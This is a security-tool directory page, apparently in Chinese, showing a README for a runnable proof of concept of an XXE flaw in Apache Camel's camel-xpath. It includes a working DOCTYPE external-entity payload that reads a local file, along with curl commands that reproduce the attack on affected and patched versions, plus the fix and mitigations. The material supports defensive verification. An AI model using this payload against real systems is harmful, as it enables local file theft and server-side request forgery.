Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-85250 — 针对 Apache Camel camel-xpath(documentType=InputSource)中 CVE-2026-85250 的可运行 XXE 概念验证,包含 Spring Boot 和 Quarkus 的受影响版本与修复版本演示。 | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-85250
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育
GitHuboscerd/cve-2026-85250

CVE-2026-85250

针对 Apache Camel camel-xpath(documentType=InputSource)中 CVE-2026-85250 的可运行 XXE 概念验证,包含 Spring Boot 和 Quarkus 的受影响版本与修复版本演示。

查看仓库
15小时12分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-85250 — camel-xpath:XML 外部实体处理(documentType=InputSource)

针对 Apache Camel 漏洞的可运行概念验证复现程序:当 documentType 设置为 InputSource 时,XPathBuilder 会将载荷直接交给 javax.xml.xpath,后者使用 JDK 默认配置 自行构建 DocumentBuilder。因此,应用于 Camel 默认文档类型的加固措施被绕过:在默认类型下会被拒绝的 DOCTYPE 声明在此处被接受,并且其声明的外部实体被 解析并展开到求值文档中。如果外部发送者的 XML 到达此类表达式,就可能读取 Camel 进程可读的文件,并导致该进程向其指定的主机发起请求。

运行时目录技术栈
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-xpath 4.22.0(受影响;修复版本 4.22.1)
Camel Quarkuscamel-quarkus/Quarkus 3.29.0 + camel-quarkus-xpath(Camel 4.15.0,受影响;修复对照 CQ 3.40.0 / Camel 4.22.1)

两个模块均演示了受影响 和 修复后的行为。

演示内容

磁盘上放置了一个无害的“秘密”文件(cve-2026-85250-secret.txt,包含一个标记字符串),代表 Camel 进程可读的本地文件。攻击者发送 XML——以 InputStream 形式,这会转换为 InputSource——携带一个 DOCTYPE,其外部实体引用该文件:

<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>

该路由会在请求体上求值 xpath("/test/text()").documentType(InputSource.class)。

  • 受影响:InputSource 解析器(JDK 默认)会解析外部实体,因此 XPath 结果就是 文件内容——标记被窃取外传。
  • 已修复:DOCTYPE 会被加固后的解析器(与默认文档类型所使用的解析器相同)拒绝,因此 在解析任何实体之前求值就已失败。
# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack     # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack     # fixed: DOCTYPE refused

漏洞摘要

属性值
组件camel-xpath(XPathBuilder,documentType=InputSource)
CWECWE-611(XML 外部实体引用限制不当)
严重性高
攻击向量由配置了 documentType=InputSource 的 XPath 表达式对不可信 XML 进行求值
影响XXE:通过外部实体实现本地文件泄露和服务端请求伪造
受影响版本从 4.0.0 起至 4.18.5 之前,从 4.19.0 起至 4.22.1 之前
修复版本4.18.5、4.22.1、4.23.0
JIRACAMEL-24475
致谢Claude Security Scan Tool

公告:https://camel.apache.org/security/CVE-2026-85250.html

修复方案

XPathBuilder 现在会将 InputSource(以及 SAXSource)经由 toHardenedDocument() 处理,该方法使用与默认文档类型相同的加固版 DocumentBuilderFactory 将其转换为 org.w3c.dom.Document,然后再交给 XPath 引擎——因此两种 文档类型均以相同配置进行解析,并且会拒绝 DOCTYPE。请注意,InputSource 类型现在也 共享默认类型已记录的逃生通道:放宽默认类型的相同 DocumentBuilderFactory 系统属性也会放宽此类型。

无法升级时的缓解措施

请勿对不可信 XML 求值的表达式使用 documentType=InputSource;默认文档类型已经 会拒绝 DOCTYPE。

免责声明

本仓库出于教育和防御目的发布:帮助 Apache Camel 用户理解该 漏洞、验证自身是否受影响,并确认升级可解决该问题。“secret”文件是一个 惰性的、预先植入的标记。请勿将本材料用于您不拥有或运营的系统。

下载工具